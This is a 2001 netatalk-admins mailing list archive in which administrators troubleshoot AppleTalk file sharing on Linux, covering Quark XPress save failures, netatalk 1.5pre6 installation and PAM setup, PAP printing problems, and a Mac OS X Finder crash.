From: Ray Zimmerman <rz10@cornell.edu>
Subject: Re: Fixing many broken resource forks quickly
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 6:24 AM -0400 4/12/01, Nathaniel Pendleton wrote:
>I have a bunch of broken resource forks
>from Mac files (e.g. hqx, sit, bin) downloaded on a PC
>and PC/Mac interchangeable files (mp3, jpg, gif, doc).
>
>How do I fix them?
>
>I can edit each one with res edit, but what a drag.
>Is there a tool for fixing a bunch of files at once? A free tool?
>
>If not, is there a software developer that could fix this?
>1. Search for all files with type "TEXT" creator "LMAN"
>and suggest fixing them. 
>2. Search for files with PC dot3 endings and no fork and fixing them.
>pdf, jpg, mp3, gif, tif, doc, hqx, sit, and bin
>
>-Nathaniel

What do you mean by broken resource forks?

If you mean files with the wrong type and creator, my favorite tools 
are FileTyper and Typer. With Typer you can easily set up a mapping 
of file extensions to file TYPE/CREATOR pairs and then batch process 
them all at one shot. FileTyper is even more flexible in what it can 
do, but not as convenient for some things.

Oh ... btw, they're both Mac programs (check www.versiontracker.com) 
... Typer is free and FileTyper is shareware ($5 last I knew).

	Ray

From netatalk.administrators-errors@umich.edu  Thu Apr 12 14:14:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA08079
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 12 Apr 2001 14:14:10 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA22183
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 12 Apr 2001 14:14:10 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA22175
	for netatalk.administrators-members@umich.edu; Thu, 12 Apr 2001 14:14:10 -0400 (EDT)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA22137
	for <netatalk-admins@umich.edu>; Thu, 12 Apr 2001 14:14:08 -0400 (EDT)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Thu, 12 Apr 2001 11:14:29 -0700
Message-Id: <sad58e15.039@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Thu, 12 Apr 2001 11:14:00 -0700
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
Subject: Re: URGENT -- Strange troubles with "atalk" on Linux...
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id OAA08079

This is a very well known problem.  It affects Quark with all sorts of servers... I've seen it on Novell, WinNT, even AppleShare IP servers.  The fact that it only happens with Quark gives you a clue as to where the problem is...

Bryn

>>> Rainer Hantsch <rainer@hantsch.co.at> - 4/12/01 8:28 AM >>>
Dear Gentlemen,

some months ago I installed at two of my customers LINUX servers. These
servers basically work very fine, but there is one particular problem and I
have absolutely no further idea about how to fix it.
Therefore I PLEASE you to help. -- Thanks in advance.


Systems:
--------
Both companies run SuSE Linux 6.4 (kernel 2.2.17 || kernel 2.2.14). Meanwhile
both of them run a special version of atalkd and afpd which is used from a
friend since a lot of time and fixes many connection troubles which occure
with the originally included atalk-version.
So everything is fine with all macintosh applications, EXCEPT QUARK XPRESS.

I contacted Quark Inc., and they already KNOW this problem, but they cannot
reliabily reproduce it. So they have it on the to-do list, but currently they
have no fix for it.

Problem:
--------
While all other programs have no problems with working on/with files on the
SuSE server, XPRESS permanently has difficulties. It can i.e. open files from
the server, but you cannot save them after editing. Also, "save as" does not
work! The problem grows, because it is also very problematic to print jobs if
they are stored on the server.

As emergency workaround, they currently copy all required files to the local
disk on the Macs before editing and store them back after doing the work (or
forget to do that and cause hereby "data chaos")...

Interesting is that one of the companies also has a helios machine, where no
such problems exist, so I guess that XPRESS does something or uses some
features which are supported by helios, but not by atalkd/afpd.


My questions:
-------------
o  Do you already know this problem?
o  Do you have a version of appletalk which is trouble-free?
o  Do you know at least a better workaround than working local?


Please, be so kind and HELP. Both companies are strongly handicaped because of
this nasty problem and are currently not very happy therefore.


Thanks in advance for your soon answer,

  Ing. Rainer Hantsch


      \\|//           Ing. Rainer HANTSCH  -  Hardware + Software
      (o o)           Your Partner - Your Supplier - Your Friend!
--oOOo-(_)-oOOo--------------------------------------------------
Ing. Rainer HANTSCH  |  e-Mail: office@hantsch.co.at
Khunngasse 21/20     |  www   : http://www.hantsch.co.at
A-1030 Vienna        |  Tel.  : ++43 - 1 - 7988538 0 
---------------------|  Fax   : ++43 - 1 - 7988538 18
** AUSTRIA **        |  Mobile: ++43 - 663 - 9194382
-----------------------------------------------------------------




From netatalk.administrators-errors@umich.edu  Thu Apr 12 14:30:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA09071
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 12 Apr 2001 14:30:27 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA28477
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 12 Apr 2001 14:30:20 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA28447
	for netatalk.administrators-members@umich.edu; Thu, 12 Apr 2001 14:30:19 -0400 (EDT)
Received: from neuman.interaccess.com (from.interaccess.com [207.208.131.20])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA28351
	for <netatalk-admins@umich.edu>; Thu, 12 Apr 2001 14:30:16 -0400 (EDT)
Received: from [192.168.1.118] (a10.240.208.207.ded25.interaccess.com [207.208.240.10])
	by neuman.interaccess.com (8.10.2/8.10.2) with ESMTP id f3CIUMp23088
	for <netatalk-admins@umich.edu>; Thu, 12 Apr 2001 13:30:22 -0500 (CDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 12 Apr 2001 13:30:22 -0500
Subject: 1.5pre6
From: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6FB5E6D.165C1%bucky@interaccess.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I just spotted this on Freshmeat.net. Anyone installed this yet?

  http://sourceforge.net/project/showfiles.php?group_id=8642

I'm hoping to clear some time this weekend!

Thanks to the development team for pressing on!

-B...


From netatalk.administrators-errors@umich.edu  Thu Apr 12 14:38:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA09774
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 12 Apr 2001 14:38:01 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA10039
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 12 Apr 2001 14:37:54 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA09999
	for netatalk.administrators-members@umich.edu; Thu, 12 Apr 2001 14:37:53 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA09929
	for <netatalk-admins@umich.edu>; Thu, 12 Apr 2001 14:37:51 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id UAA02740;
	Thu, 12 Apr 2001 20:33:20 +0200
Message-ID: <3AD5F4F3.85F1E6F2@euc.de>
Date: Thu, 12 Apr 2001 20:33:26 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
CC: netatalk-admins@umich.edu
Subject: Re: 1.5pre6
References: <B6FB5E6D.165C1%bucky@interaccess.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id OAA09774

I've installed it on Suse kernel 2.2.16 and it seems to work with the
following backdraw (but maybe it while I#m not THE guru)

..
./configure --enable-suse --with-shadow --with-pam --with-flock-locks

resulting in a version, where only guest can log in, but having no problems
with file permissions.

Then I edited the /etc/pam.d/netatalk file to:
auth       required     /lib/security/pam_unix.so 
account    required     /lib/security/pam_unix.so 
#password   required    /lib/security/pam_cracklib.so
#password   required    /lib/security/pam_pwdb.so shadow use_authtok
session    required     /lib/security/pam_unix.so

..

for the first tries - it seems to work 

"Bruce A. Burdick, Jr." wrote:
> 
> I just spotted this on Freshmeat.net. Anyone installed this yet?
> 
>   http://sourceforge.net/project/showfiles.php?group_id=8642
> 
> I'm hoping to clear some time this weekend!
> 
> Thanks to the development team for pressing on!
> 
> -B...

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------
EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
der Abfallwirtschaftsbetriebe Köln (AWB) und dem
Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de

From netatalk.administrators-errors@umich.edu  Thu Apr 12 15:35:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA12853
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 12 Apr 2001 15:35:45 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA23779
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 12 Apr 2001 15:35:45 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA23755
	for netatalk.administrators-members@umich.edu; Thu, 12 Apr 2001 15:35:44 -0400 (EDT)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA23718
	for <netatalk-admins@umich.edu>; Thu, 12 Apr 2001 15:35:43 -0400 (EDT)
Received: from ns08-n66-154.de.inter.net ([213.73.66.154] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14nmsX-0001rC-00
	for netatalk-admins@umich.edu; Thu, 12 Apr 2001 21:35:41 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id VAA25442
	for <netatalk-admins@umich.edu>; Thu, 12 Apr 2001 21:34:32 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Cannot print any longer
Date: Thu, 12 Apr 2001 19:13:25 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <Pine.SOL.4.33.0104121025200.6663-100000@london.chem.gla.ac.uk>
In-Reply-To: <Pine.SOL.4.33.0104121025200.6663-100000@london.chem.gla.ac.uk>
MIME-Version: 1.0
Message-Id: <01041221343101.00584@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id PAA12853

On Thu, 12 Apr 2001, Jonathan Paisley wrote:
> You might be able to use the old papd binary in conjunction with the new
> afpd. That would solve the problem in the interim.
> 

No, not really. ;-)
I (mostly) don't want to print onto a spooler of my linux box,
but via the famous program "pap" from my linux box to an AppleTalk printer.
And the new papd seems to work, data from my Mac arrived on my linux box.
It's just the other way ... :-(

> I'm not sure how papd interacts with atalkd, and how stable that interface
> has been over the recent versions. If it's ok, then things should still
> run. If you're not interested in AFP over DDP, then you could always use
> the atalkd for the old distribution too (then afpd will only use TCP/IP)
> if there is such a problem.
>

I do use DDP exclusively, running MacOS 7.6.1 on my IIfx (no AppleTalk via IP!).
7.6.1 is the latest - and last - for that machine.
So, no way!

> On Thu, 12 Apr 2001, Carsten Neumann wrote:
> 
> > I just installed netatalk 1.5pre5.
> > Afpd and papd seem to work well for me, but I cannot print any more
> > to my AppleTalk printer.
> > I was using 1.4b2+asun2.1.3 before and printing worked fine.
> > Now I have a serious PAP problem.
> > An interactive pap dialog showed the following:
> >
> > <dialog>
> > athlet:~ # pap -p Lasie
> > Trying 65280.226:202 ...
> > status: waiting; source: AppleTalk
> > ...
> > status: waiting; source: AppleTalk
> > status: busy; source: AppleTalk
> > ...
> > status: busy; source: AppleTalk
> > status: idle
> > Connected to Lasie:LaserWriter@*.
> > Bad status response!
> > athlet:~ #
> > </dialog>
> >
> > Downgrading to 1.4b2+asun2.1.3 verified that I still can
> > print with the old netatalk software.
> > But I need the new one because of the afpd death when AppleSharing
> > HFS CDs.
> >
> > Thanks in advance, regards
> >
> > 	Carsten

Thank you for your reply

	Carsten

From netatalk.administrators-errors@umich.edu  Thu Apr 12 16:07:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA13762
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 12 Apr 2001 16:07:37 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA04237
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 12 Apr 2001 16:07:37 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA04230
	for netatalk.administrators-members@umich.edu; Thu, 12 Apr 2001 16:07:36 -0400 (EDT)
Received: from nernst.chem.gla.ac.uk (nernst.chem.gla.ac.uk [130.209.221.174])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA04204
	for <netatalk-admins@umich.edu>; Thu, 12 Apr 2001 16:07:35 -0400 (EDT)
Received: from london.chem.gla.ac.uk ([130.209.221.166] ident=jonp)
	by nernst.chem.gla.ac.uk with esmtp (Exim 2.02 #2)
	id 14nnNK-0006n3-00; Thu, 12 Apr 2001 21:07:30 +0100
Received: from localhost (jonp@localhost) by london.chem.gla.ac.uk (8.8.7/feedernode) with ESMTP id VAA08879; Thu, 12 Apr 2001 21:07:24 +0100 (BST)
X-Authentication-Warning: london.chem.gla.ac.uk: jonp owned process doing -bs
Date: Thu, 12 Apr 2001 21:07:24 +0100 (BST)
From: Jonathan Paisley <jonp@chem.gla.ac.uk>
To: Carsten Neumann <deltor@snafu.de>
cc: <netatalk-admins@umich.edu>
Subject: Re: Cannot print any longer
In-Reply-To: <01041221343101.00584@athlet>
Message-ID: <Pine.SOL.4.33.0104122104010.8876-100000@london.chem.gla.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Thu, 12 Apr 2001, Carsten Neumann wrote:

> On Thu, 12 Apr 2001, Jonathan Paisley wrote:
> > You might be able to use the old papd binary in conjunction with the new
> > afpd. That would solve the problem in the interim.
>
> No, not really. ;-)
> I (mostly) don't want to print onto a spooler of my linux box,
> but via the famous program "pap" from my linux box to an AppleTalk printer.
> And the new papd seems to work, data from my Mac arrived on my linux box.
> It's just the other way ... :-(

Duh! Silly me. I should have read your original message more thoroughly.
Sorry.

Would it be foolish of me to ask if you've tried the pap from the old
distro with the new one?

-- 
Jonathan Paisley
jonp@chem.gla.ac.uk


From netatalk.administrators-errors@umich.edu  Thu Apr 12 16:35:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA15106
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 12 Apr 2001 16:35:15 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA21003
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 12 Apr 2001 16:35:15 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA20952
	for netatalk.administrators-members@umich.edu; Thu, 12 Apr 2001 16:35:13 -0400 (EDT)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA20900
	for <netatalk-admins@umich.edu>; Thu, 12 Apr 2001 16:35:11 -0400 (EDT)
Received: from ns01-n71-198.de.inter.net ([213.73.71.198] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14nno5-00079c-00
	for netatalk-admins@umich.edu; Thu, 12 Apr 2001 22:35:09 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id WAA25743
	for <netatalk-admins@umich.edu>; Thu, 12 Apr 2001 22:34:10 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Cannot print any longer
Date: Thu, 12 Apr 2001 22:27:31 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <Pine.SOL.4.33.0104122104010.8876-100000@london.chem.gla.ac.uk>
In-Reply-To: <Pine.SOL.4.33.0104122104010.8876-100000@london.chem.gla.ac.uk>
MIME-Version: 1.0
Message-Id: <01041222341002.00584@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id QAA15106

On Thu, 12 Apr 2001, Jonathan Paisley wrote:
> On Thu, 12 Apr 2001, Carsten Neumann wrote:
> 
> > On Thu, 12 Apr 2001, Jonathan Paisley wrote:
> > > You might be able to use the old papd binary in conjunction with the new
> > > afpd. That would solve the problem in the interim.
> >
> > No, not really. ;-)
> > I (mostly) don't want to print onto a spooler of my linux box,
> > but via the famous program "pap" from my linux box to an AppleTalk printer.
> > And the new papd seems to work, data from my Mac arrived on my linux box.
> > It's just the other way ... :-(
> 
> Duh! Silly me. I should have read your original message more thoroughly.
> Sorry.
> 
> Would it be foolish of me to ask if you've tried the pap from the old
> distro with the new one?

No, it wouldn't. ;-)
But I tried this, of course.

It cannot even lookup the NBP name, and since there is no way to circumvent this lookup
it fails before reading the status from the printer.

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Thu Apr 12 18:24:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA18868
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 12 Apr 2001 18:24:52 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA05758
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 12 Apr 2001 18:24:52 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA05737
	for netatalk.administrators-members@umich.edu; Thu, 12 Apr 2001 18:24:51 -0400 (EDT)
Received: from despair.sowrong.org (syr-24-24-23-149.twcny.rr.com [24.24.23.149])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA05695
	for <netatalk-admins@umich.edu>; Thu, 12 Apr 2001 18:24:50 -0400 (EDT)
Received: (from cjc26@localhost)
	by despair.sowrong.org (8.11.0/8.11.0) id f3CMP8l17176;
	Thu, 12 Apr 2001 18:25:08 -0400 (EDT)
Date: Thu, 12 Apr 2001 18:25:08 -0400
From: Cliff Crawford <cjc26@cornell.edu>
To: Waleed Alrawi <walrawi@htcengineers.com>
Cc: netatalk-admins@umich.edu
Subject: Re: netatalk problem
Message-ID: <20010412182508.A17132@cornell.edu>
References: <ECEPIFCNNBGMMAOOFBLLCEGICDAA.walrawi@htcengineers.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <ECEPIFCNNBGMMAOOFBLLCEGICDAA.walrawi@htcengineers.com>; from walrawi@htcengineers.com on Wed, Apr 11, 2001 at 03:23:06PM -0700

* Waleed Alrawi <walrawi@htcengineers.com> menulis:
> 
>    Apr 11 14:53:28 faa afpd[1326]: cleartext login: walrawi
>    Apr 11 14:53:28 faa PAM_pwdb[1326]: (netatalk) session opened for user
>    walrawi by (uid=0)
>    Apr 11 14:53:28 faa afpd[1326]: login walrawi (uid 500, gid 500)
>    Apr 11 15:00:41 faa afpd[1326]: setdirowner: chown -1/0
>    .AppleDouble/.Parent: Operation not permitted

It looks like you can't write to the .AppleDouble directory in your home
directory.  Check the permissions on it.  Also, it's a good idea to
setgid all your shared directories (i.e. do "chmod g+s" on all of them)
so that any new files and folders created in them will be in the same
group as the parent directory; this helps prevent permissions problems.


-- 
Cliff Crawford                      silent butterfly
                               alights upon caps lock key
http://www.sowrong.org/              invalid login

From netatalk.administrators-errors@umich.edu  Thu Apr 12 19:48:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA20875
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 12 Apr 2001 19:48:50 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA18856
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 12 Apr 2001 19:48:50 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA18833
	for netatalk.administrators-members@umich.edu; Thu, 12 Apr 2001 19:48:49 -0400 (EDT)
Received: from server2.bluemer.de (pD9006E0A.dip.t-dialin.net [217.0.110.10])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA18788
	for <netatalk-admins@umich.edu>; Thu, 12 Apr 2001 19:48:47 -0400 (EDT)
Received: from bluemer.de (bert2.bluemer.de [192.168.20.3])
	by server2.bluemer.de (8.9.3/8.8.8) with ESMTP id BAA08938
	for <netatalk-admins@umich.edu>; Fri, 13 Apr 2001 01:48:26 +0200
Message-ID: <3AD63ECA.3B248C6C@bluemer.de>
Date: Fri, 13 Apr 2001 01:48:26 +0200
From: Bert =?iso-8859-1?Q?Bl=FCmer?= <bert@bluemer.de>
X-Mailer: Mozilla 4.51 [de]C-CCK-MCD QXW03200  (Win98; I)
X-Accept-Language: de,en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: 1.5pre6
References: <B6FB5E6D.165C1%bucky@interaccess.com> <3AD5F4F3.85F1E6F2@euc.de>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit



Mac Conin schrieb:
> 
> I've installed it on Suse kernel 2.2.16 and it seems to work with the
> following backdraw (but maybe it while I#m not THE guru)
> 
> ..
> ./configure --enable-suse --with-shadow --with-pam --with-flock-locks
> 
> resulting in a version, where only guest can log in, but having no problems
> with file permissions.
> 
> Then I edited the /etc/pam.d/netatalk file to:
> auth       required     /lib/security/pam_unix.so
> account    required     /lib/security/pam_unix.so
> #password   required    /lib/security/pam_cracklib.so
> #password   required    /lib/security/pam_pwdb.so shadow use_authtok
> session    required     /lib/security/pam_unix.so
> 
> ..
> 
> for the first tries - it seems to work


I have compiled 1.5pre6 today, too; comiling worked, but i did no 
further testing yet. I compiled pre6, because the 1.5pre5 does 
not compile the 'uams_pam.so' - Module. I have to use pam, can 
anybody tell me how to compile this with the pre5?

-- 
Grüße, Bert

From netatalk.administrators-errors@umich.edu  Sat Apr 14 06:50:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA17458
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 14 Apr 2001 06:50:18 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA01170
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 14 Apr 2001 06:50:18 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA01162
	for netatalk.administrators-members@umich.edu; Sat, 14 Apr 2001 06:50:18 -0400 (EDT)
Received: from mail.megapump.com (mail.megapump.com [206.102.13.66])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA01140
	for <netatalk-admins@umich.edu>; Sat, 14 Apr 2001 06:50:16 -0400 (EDT)
Received: from localhost (airport.macmojo.org [206.102.13.77])
	by mail.megapump.com (8.11.0/8.11.0) with ESMTP id f3EAowW29889
	for <netatalk-admins@umich.edu>; Sat, 14 Apr 2001 03:50:58 -0700
Message-Id: <200104141050.f3EAowW29889@mail.megapump.com>
Date: Sat, 14 Apr 2001 03:50:11 -0700
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
X-Mailer: Apple Mail (2.387)
From: Brian Hendrickson <brian@megapump.com>
To: netatalk-admins@umich.edu
Mime-Version: 1.0 (Apple Message framework v387)
In-Reply-To: <01a601c0c33a$b3e73f10$0300a8c0@nat1.rcn.com>
Subject: netatalk 1.5pre6 problem
Content-Transfer-Encoding: 7bit

problem: The Mac OS 10.0.1 Finder crashes when mounting a netatalk 1.5 
volume, followed by the this error message:
           Disconnected
           The file server "RH7_Server" connection has
           unexpectedly closed down.
           [date&time]

server                RedHat 7 x86
netatalk             1.5pre5 or 1.5pre6 RedHat 7 RPM binary distribution
clients                Mac OS 9.1 or Mac OS 10.0.1 (Build 4L13)

test: using the Script Editor I made two "mount volume" Applescripts -- 
one saved as an OS X applet, the other as a Classic applet. The 
Applescripts contain the following line:
           mount volume "afp://user:password@my.ip.add.ress/user/"

the OS X script crashes the Finder -- same as "Connect to Server"

the Classic script successfully mounts the volume on the Mac OS X 
desktop, but there are some permissions issues. Make a new folder on the 
desktop it can be copied to the share. Other files cannot be copied to 
the share: "The operation cannot be completed because one or more 
required items could not be found. (Error code -43)"

I recompiled 1.5pre5 from source and added -DSHADOWPW and -DFLOCKS with 
no change

If anybody has any ideas about what might be causing these problems I'm 
interested in pursuing it since I had noticed greatly improved 
throughput performance in the netatalk 1.5 software, thanks to the 
coders for their excellent work. Thanks!

Brian Hendrickson
brian@megapump.com

From netatalk.administrators-errors@umich.edu  Sat Apr 14 11:28:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA23004
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 14 Apr 2001 11:28:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA21700
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 14 Apr 2001 11:28:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA21680
	for netatalk.administrators-members@umich.edu; Sat, 14 Apr 2001 11:28:04 -0400 (EDT)
Received: from clavin2.unet.brandeis.edu (clavin2.unet.brandeis.edu [129.64.99.33])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA21656
	for <netatalk-admins@umich.edu>; Sat, 14 Apr 2001 11:28:03 -0400 (EDT)
Received: from squirrel (squirrel.bio.brandeis.edu [129.64.81.16])
	by clavin2.unet.brandeis.edu (8.9.3/8.9.3/UNet2.0) with ESMTP id LAA23461
	for <netatalk-admins@umich.edu>; Sat, 14 Apr 2001 11:28:03 -0400
Date: Sat, 14 Apr 2001 11:28:03 -0400 (EDT)
From: Steven Karel <karelsf@brandeis.edu>
X-X-Sender:  <karelsf@squirrel.bio.brandeis.edu>
